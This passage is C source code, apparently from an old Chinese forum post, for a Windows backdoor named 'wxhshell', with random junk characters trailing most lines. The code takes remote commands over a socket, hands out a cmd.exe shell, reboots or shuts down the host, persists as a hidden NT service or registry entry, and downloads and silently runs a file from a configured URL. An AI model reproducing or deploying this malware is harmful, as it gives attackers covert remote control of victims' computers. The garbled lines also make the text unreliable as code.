  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8a {gEZT,  
  } NgKNT}JDv  
  else { !k^\`jMzw  
4{=Em5`HbO  
    switch(cmd[0]) { FE.:h'^h  
  :KwYuwYS  
  // 帮助 AmHIG_'  
  case '?': { Yy]He nw;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); inPGWG K]  
    break; Vow+,,oh  
  } t1S\M%?  
  // 安装 3ly|y{M",  
  case 'i': { #<:khs6  
    if(Install()) a>6p])Wh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (J;<&v}Gad  
    else MG|NH0k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v?rN;KY#pK  
    break; L '=3y$"],  
    } "A7tb39*  
  // 卸载 uWSG+  
  case 'r': { }j x{Cw  
    if(Uninstall()) ]v#Q\Q8>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d?JVB  
    else 9ZwhC s O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q :gH`5N  
    break; 0T*jv! q>  
    } ^B<jMt  
  // 显示 wxhshell 所在路径 6k-]2,\#  
  case 'p': { % rkUy?=vu  
    char svExeFile[MAX_PATH]; \%#jT GFs~  
    strcpy(svExeFile,"\n\r"); F-m1GG0s  
      strcat(svExeFile,ExeFile); YB[P`Muj  
        send(wsh,svExeFile,strlen(svExeFile),0); zPn8>J<.0Q  
    break; z 'j%.Dd8  
    } D*b> l_  
  // 重启 SRMy#j-  
  case 'b': { ),86Y:^4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~b e&T:7.  
    if(Boot(REBOOT)) !|SawT5t   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >PTq5pk  
    else { H|P.q{(G  
    closesocket(wsh); ) E5ax~  
    ExitThread(0); fYpy5vc-dm  
    } 9,4a?.*4~  
    break; |m~|  
    } y<Z8+/f`f  
  // 关机 :t(}h!7  
  case 'd': { R6ywc "xE  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :E.mU{  
    if(Boot(SHUTDOWN)) L_/.b%0)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {Tx+m;5F  
    else { {oO!v}]  
    closesocket(wsh); mIOx)`$  
    ExitThread(0); Mv_4*xVc  
    } { aU~[5L3(  
    break; !5pp A  
    } -)w/nq  
  // 获取shell n {M!l\1  
  case 's': { k(et b#  
    CmdShell(wsh); zdtzR<X   
    closesocket(wsh); /@q_`tU  
    ExitThread(0); 6x_8m^+m  
    break; =r`>tWs  
  } 07n=H~yU  
  // 退出 =*t)@bn  
  case 'x': { yVSJn>l!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Hh,\>= ':  
    CloseIt(wsh); _bW#* Y5  
    break; S-My6'ar  
    } ,w c|YI)E  
  // 离开 &}6=V+J;  
  case 'q': { > QCVsX>~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +YXyfTa  
    closesocket(wsh); Yf|+p65g  
    WSACleanup(); Tk)y*y  
    exit(1); yYF%U7N/n  
    break; k: D<Q  
        } .F |yxj;I7  
  } _K'YaZTa;~  
  } )%P!<|s:5  
g+U6E6}1  
  // 提示信息 G$WMW@fy  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .a?GC(  
} {o AJL  
  } H&l/o  
XNsMXeO]&  
  return; 1InG%=jLo  
} V4iN2  
7iT#dpF/A  
// shell模块句柄 4; y*y tY*  
int CmdShell(SOCKET sock) |}=xA%)  
{ rM Un ~  
STARTUPINFO si; iU5M_M$G  
ZeroMemory(&si,sizeof(si)); s@V4ny9x  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +uLl3(ml  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M 5c$  
PROCESS_INFORMATION ProcessInfo; AO[/-Uij  
char cmdline[]="cmd"; ZW>iq M^9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Z@(m.&ZRx  
  return 0; pd^"MG  
} SJ*qgI?}T  
cfSQqH  
// 自身启动模式 `]F}O \H  
int StartFromService(void) b@X+vW{S  
{ f0M5^  
typedef struct BMi5F?Q'G  
{ "vvv@sYxi  
  DWORD ExitStatus; dj-/%MU  
  DWORD PebBaseAddress; LiyR,e  
  DWORD AffinityMask; e5 N$+P"  
  DWORD BasePriority; 4p<c|(f#  
  ULONG UniqueProcessId; 6v?tZ&, G  
  ULONG InheritedFromUniqueProcessId; ?'I-_9u  
}   PROCESS_BASIC_INFORMATION; z#HNJAQ#|  
%1\~OnT  
PROCNTQSIP NtQueryInformationProcess; o#uhPUZ  
SiLWy=qbR  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F e1^9ja  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *)bh6b=7  
5Sz&j  
  HANDLE             hProcess; GahIR9_2  
  PROCESS_BASIC_INFORMATION pbi; f1AO<>I;  
UX24*0`\~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); W %<,GV  
  if(NULL == hInst ) return 0; 7<0oK|~c#  
,8[R0wsBaz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s{uSU1lQn  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :d1Kq _\K  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X"!tx  
T&ib]LmR  
  if (!NtQueryInformationProcess) return 0; sjy/[.4-  
vyBx|TR  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xey?.2K1A  
  if(!hProcess) return 0; JD)wxoeg  
T s9go  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o*5b]XWw  
O:j=L{,d^  
  CloseHandle(hProcess); /"@k_[O  
m`&6[[)6~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wBCBZs$H  
if(hProcess==NULL) return 0; ra F+Bt`  
,l#f6H7p  
HMODULE hMod; ]D_ AZI  
char procName[255]; QfV:&b`  
unsigned long cbNeeded; )uO 3v  
i4<n#]1!t  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :DJLkMP  
lm8<0*;,  
  CloseHandle(hProcess); Rhzcm`"  
T5eJIc3a"  
if(strstr(procName,"services")) return 1; // 以服务启动 {# N,&?[  
u}-)ywX  
  return 0; // 注册表启动 2,rjy|R`  
} <z QUa  
b\vL^\bX8  
// 主模块 8b X?HeYrr  
int StartWxhshell(LPSTR lpCmdLine) 6$G@>QCBS  
{ QV8;c^EZ  
  SOCKET wsl; u >.>hQ  
BOOL val=TRUE; rsD? ;XzH  
  int port=0; r12e26_Ab  
  struct sockaddr_in door; 3uuB/8  
m }\L i]  
  if(wscfg.ws_autoins) Install(); 8Yw V"+Fu/  
]GiDfYs7%  
port=atoi(lpCmdLine); )2?A|f8  
CTZ#QiNP  
if(port<=0) port=wscfg.ws_port;  s x)x7  
)QB9zl:  
  WSADATA data; gcF V$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J%P{/nR  
W;T (q~XK  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -v~XS-F  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +IM6 GeH  
  door.sin_family = AF_INET; 84c[Z   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `cqZ;(^  
  door.sin_port = htons(port); 78O5$?b;#  
{%8=qJ3@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { T2}ccnDi  
closesocket(wsl); IWnyqt(k  
return 1; <xAlp;8m5  
} An=Q`Uxt/  
+zzS  
  if(listen(wsl,2) == INVALID_SOCKET) { x=3+@'  
closesocket(wsl); EakS(Q?  
return 1; :snn-e0l  
} l`vr({A  
  Wxhshell(wsl); D}K/5iU]a  
  WSACleanup(); Ffr6P }I  
qR8 BS4q_p  
return 0; Op ;){JT  
Eq'oy~.oV  
} K9Bi2/N  
]]_H|tO  
// 以NT服务方式启动 v QL)I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) J!*Pg<  
{ ybVdWOqv  
DWORD   status = 0; %M;{+90p>t  
  DWORD   specificError = 0xfffffff; {#%;HqP  
Q)Zk UmW  
  serviceStatus.dwServiceType     = SERVICE_WIN32; x^JjoI2vf  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; G+l9QaFv  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; eE[/#5tK  
  serviceStatus.dwWin32ExitCode     = 0; jY5BVTWnV  
  serviceStatus.dwServiceSpecificExitCode = 0; RYKV?f#[H  
  serviceStatus.dwCheckPoint       = 0; b}jLI_R{  
  serviceStatus.dwWaitHint       = 0; ( ?pn2- Ip  
o!M*cyq  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); von~-51;  
  if (hServiceStatusHandle==0) return; &<%U7?{~  
1Qgd^o:d  
status = GetLastError(); m7~[f7U  
  if (status!=NO_ERROR) X5eTj  
{ o*1t)HL<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %]@K}!)2  
    serviceStatus.dwCheckPoint       = 0; i4oBi]$T  
    serviceStatus.dwWaitHint       = 0; ;t}ux  
    serviceStatus.dwWin32ExitCode     = status; \^%5!  
    serviceStatus.dwServiceSpecificExitCode = specificError; hy|X(m  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?4}EhXR(  
    return; AAt<{  
  } =rDIU&0Y  
7w=%aW|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :cK;|{f  
  serviceStatus.dwCheckPoint       = 0; 5PlTf?Ao  
  serviceStatus.dwWaitHint       = 0; ]]Da/^K=Z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `;R|SyrX  
} |_;Vb  
Wy%F   
// 处理NT服务事件,比如:启动、停止 E5 0$y:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #/9(^6f:  
{ x9NLJI21/  
switch(fdwControl) ^ok;<fJ  
{ x 1"ikp}  
case SERVICE_CONTROL_STOP: <~Tlx:  
  serviceStatus.dwWin32ExitCode = 0; -j_J 1P0,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; S,,3h0$X  
  serviceStatus.dwCheckPoint   = 0; #YSUPO%F  
  serviceStatus.dwWaitHint     = 0; 2JYt.HN  
  { w{"GA ~=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;pNHT*>u,  
  } M_4g%uHG  
  return; a".uS4x  
case SERVICE_CONTROL_PAUSE: z,oqYU\:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; QPfS3%p`  
  break; {P#&e>)v{  
case SERVICE_CONTROL_CONTINUE: )Oz( <vxw  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; pstQithS  
  break; FZ/l T-"  
case SERVICE_CONTROL_INTERROGATE: $0Y&r]'  
  break; `8TM<az-L  
}; 3HA$k[%7P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1a90S*M  
} bkl'0 p  
 v|Tg %  
// 标准应用程序主函数 rQ'tab.,]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Tc)T0dRP  
{ 8Db~OYVJG  
%1]2+_6  
// 获取操作系统版本 &hba{!`y  
OsIsNt=GetOsVer(); ,\DB8v6l\A  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8y!fqXm%)  
.VmI4V?}h  
  // 从命令行安装 v mOXB#7W  
  if(strpbrk(lpCmdLine,"iI")) Install(); B<[;rk  
+c\s%Gzrh  
  // 下载执行文件 ) ZOmv  
if(wscfg.ws_downexe) { WytCc>oL  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g#_?Vxt  
  WinExec(wscfg.ws_filenam,SW_HIDE); R\:C|/6f  
} vO{ijHKE  
2>O2#53ls0  
if(!OsIsNt) { BPrA*u }T  
// 如果时win9x,隐藏进程并且设置为注册表启动 "\BP+AF  
HideProc(); 0m`7|80#P  
StartWxhshell(lpCmdLine); z[v5hhI)4  
} n/?5[O-D]  
else B;;D(NH  
  if(StartFromService()) &J hN&Ur  
  // 以服务方式启动 :/vB,JC  
  StartServiceCtrlDispatcher(DispatchTable); $hSu~}g  
else e^XijId.  
  // 普通方式启动 Ip4NkUI3T  
  StartWxhshell(lpCmdLine); 6ddkUPTF  
M:`hb$k:  
return 0; sD{b0mZT  
}
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只看该作者 1 发表于: 2006-10-10
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